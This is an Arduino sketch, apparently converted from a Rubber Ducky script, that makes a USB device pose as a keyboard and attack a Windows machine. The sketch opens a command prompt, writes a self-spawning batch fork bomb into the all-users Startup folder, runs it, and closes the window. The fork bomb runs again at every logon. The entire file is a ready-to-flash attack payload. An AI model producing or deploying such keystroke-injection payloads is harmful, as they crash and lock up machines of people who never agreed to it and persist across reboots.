/*
 * Generated with <3 by Dckuino.js, an open source project !
 */

#include "Keyboard.h"

void typeKey(int key)
{
  Keyboard.press(key);
  delay(50);
  Keyboard.release(key);
}

/* Init function */
void setup()
{
  // Begining the Keyboard stream
  Keyboard.begin();

  // Wait 500ms
  delay(500);

  delay(3000);

  Keyboard.press(KEY_LEFT_GUI);
  Keyboard.press('r');
  Keyboard.releaseAll();

  delay(500);

  Keyboard.print("cmd");

  delay(500);

  typeKey(KEY_RETURN);

  delay(200);

  Keyboard.print("cd %ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\");

  typeKey(KEY_RETURN);

  Keyboard.print("copy con a.bat");

  typeKey(KEY_RETURN);

  Keyboard.print(":s");

  typeKey(KEY_RETURN);

  Keyboard.print("start %0");

  typeKey(KEY_RETURN);

  Keyboard.print("goto :s");

  typeKey(KEY_RETURN);

  Keyboard.press(KEY_LEFT_CTRL);
  Keyboard.press('z');
  Keyboard.releaseAll();

  typeKey(KEY_RETURN);

  Keyboard.print("a.bat");

  typeKey(KEY_RETURN);

  Keyboard.press(KEY_LEFT_ALT);
  Keyboard.press(KEY_F4);
  Keyboard.releaseAll();

  // Ending stream
  Keyboard.end();
}

/* Unused endless loop */
void loop() {}